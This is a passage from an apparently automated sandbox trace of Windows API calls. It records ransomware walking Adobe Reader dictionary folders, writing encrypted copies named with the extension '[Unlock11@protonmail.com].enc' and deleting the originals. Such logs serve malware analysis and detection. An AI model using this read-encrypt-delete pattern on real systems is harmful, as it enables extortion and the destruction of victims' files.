files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca\\list.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.332] GetFileType (hFile=0x39c) returned 0x1 [0198.332] GetFileType (hFile=0x39c) returned 0x1 [0198.332] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.332] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.332] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.335] CloseHandle (hObject=0x39c) returned 1 [0198.335] CloseHandle (hObject=0x334) returned 1 [0198.335] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_ca\\list.txt")) returned 1 [0198.336] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0198.337] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.337] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 1 [0198.337] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 0 [0198.337] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0198.337] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb\\list.txt")) returned 0x20 [0198.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f470 | out: hHeap=0x2ad0000) returned 1 [0198.338] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt", lpFilePart=0x9bada4*="List.txt") returned 0x83 [0198.338] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb\\list.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x263)) returned 1 [0198.338] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679214 | out: pbBuffer=0x3679214) returned 1 [0198.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0198.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0198.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0198.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafd0 [0198.339] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb\\list.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.339] GetFileType (hFile=0x334) returned 0x1 [0198.339] GetFileType (hFile=0x334) returned 0x1 [0198.339] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.340] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb\\list.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.341] GetFileType (hFile=0x39c) returned 0x1 [0198.341] GetFileType (hFile=0x39c) returned 0x1 [0198.341] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.341] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.341] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.342] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.342] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.343] CloseHandle (hObject=0x39c) returned 1 [0198.344] CloseHandle (hObject=0x334) returned 1 [0198.344] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_gb\\list.txt")) returned 1 [0198.345] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0198.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 1 [0198.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="List.txt", cAlternateFileName="")) returned 0 [0198.346] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0198.346] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us\\list.txt")) returned 0x20 [0198.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f1a0 | out: hHeap=0x2ad0000) returned 1 [0198.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0198.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38814e0 | out: hHeap=0x2ad0000) returned 1 [0198.346] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt", lpFilePart=0x9bada4*="List.txt") returned 0x83 [0198.347] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us\\list.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x34b)) returned 1 [0198.347] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36795fc | out: pbBuffer=0x36795fc) returned 1 [0198.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0198.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.347] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us\\list.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.348] GetFileType (hFile=0x334) returned 0x1 [0198.348] GetFileType (hFile=0x334) returned 0x1 [0198.348] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.348] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.348] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.348] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.348] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.348] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.348] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.349] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us\\list.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.349] GetFileType (hFile=0x39c) returned 0x1 [0198.349] GetFileType (hFile=0x39c) returned 0x1 [0198.349] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.349] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.349] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.350] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.385] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.385] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.388] CloseHandle (hObject=0x39c) returned 1 [0198.388] CloseHandle (hObject=0x334) returned 1 [0198.388] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\List.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\abbreviations\\en_us\\list.txt")) returned 1 [0198.389] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0198.390] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.390] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_CA", cAlternateFileName="")) returned 1 [0198.390] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_GB", cAlternateFileName="")) returned 1 [0198.390] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 1 [0198.390] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 0 [0198.390] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0198.391] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_ca")) returned 0x10 [0198.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8fc0 | out: hHeap=0x2ad0000) returned 1 [0198.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0198.391] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb")) returned 0x10 [0198.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e85a8 | out: hHeap=0x2ad0000) returned 1 [0198.392] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us")) returned 0x10 [0198.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8410 | out: hHeap=0x2ad0000) returned 1 [0198.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0198.393] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0198.394] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.394] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x773, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_CA.aff", cAlternateFileName="")) returned 1 [0198.394] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb9dc1, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_CA.dic", cAlternateFileName="")) returned 1 [0198.395] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, 